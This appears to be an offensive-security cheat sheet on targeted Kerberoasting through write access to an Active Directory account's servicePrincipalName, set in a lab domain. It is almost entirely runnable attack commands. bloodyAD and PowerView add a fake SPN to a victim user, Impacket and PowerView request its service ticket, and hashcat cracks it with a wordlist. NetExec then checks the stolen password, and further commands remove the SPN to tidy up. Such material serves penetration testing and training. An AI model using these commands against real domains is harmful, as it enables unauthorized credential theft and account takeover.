SPN write abuse means modifying the servicePrincipalName attribute on an account. The usual offensive use is targeted Kerberoasting: we add an SPN to a user we can modify, request a TGS, crack it offline, and remove the SPN.
Rights that matter
GenericAll
GenericWrite
WriteProperty over `servicePrincipalName`
Validated write to service principal name
WriteOwner followed by ACL modification
WriteDACL followed by SPN write delegation
Confirm write path with bloodyAD
bloodyAD --host 10.10.10.200 -d ootw.local -u student -p 'student' get object target.user --attr nTSecurityDescriptor
Automated targeted roast
python3 targetedKerberoast.py -vv -d ootw.local -u student -p 'student' --request-user target.user --dc-ip 10.10.10.200
Manual Linux flow
bloodyAD --host 10.10.10.200 -d ootw.local -u student -p 'student' set object target.user servicePrincipalName -v nonexistent/target
GetUserSPNs.py ootw.local/student:'student' -dc-ip 10.10.10.200 -request-user target.user -outputfile target.hash
bloodyAD --host 10.10.10.200 -d ootw.local -u student -p 'student' remove object target.user servicePrincipalName -v nonexistent/target
Manual Windows flow
Set-DomainObject -Identity target.user -Set @{serviceprincipalname='nonexistent/target'} -Verbose
Get-DomainSPNTicket -SPN 'nonexistent/target' -OutputFormat Hashcat
Set-DomainObject -Identity target.user -Clear serviceprincipalname -Verbose
Windows with explicit credentials
$SecPassword = ConvertTo-SecureString 'student' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('ootw.local\student', $SecPassword)
Set-DomainObject -Credential $Cred -Identity target.user -Set @{serviceprincipalname='nonexistent/target'} -Verbose
Get-DomainSPNTicket -Credential $Cred -SPN 'nonexistent/target' -OutputFormat Hashcat
Set-DomainObject -Credential $Cred -Identity target.user -Clear serviceprincipalname -Verbose
Crack
hashcat -m 13100 target.hash /usr/share/wordlists/rockyou.txt -r rules/best64.rule -O -w 3
hashcat -m 13100 target.hash /usr/share/wordlists/rockyou.txt --show
Validate recovered credential
nxc smb 10.10.10.200 -u target.user -p '<CRACKED_PASSWORD>' -d ootw.local
nxc ldap 10.10.10.200 -u target.user -p '<CRACKED_PASSWORD>' -d ootw.local
Cleanup verification
Get-ADUser target.user -Properties servicePrincipalName | Select-Object SamAccountName,ServicePrincipalName
Notes
- The target does not need to already be a service account.
- The SPN can be fake; it only needs to be unique and requestable.
- The valuable artifact is the TGS hash, not the temporary directory change.
- Always remove the SPN after the request.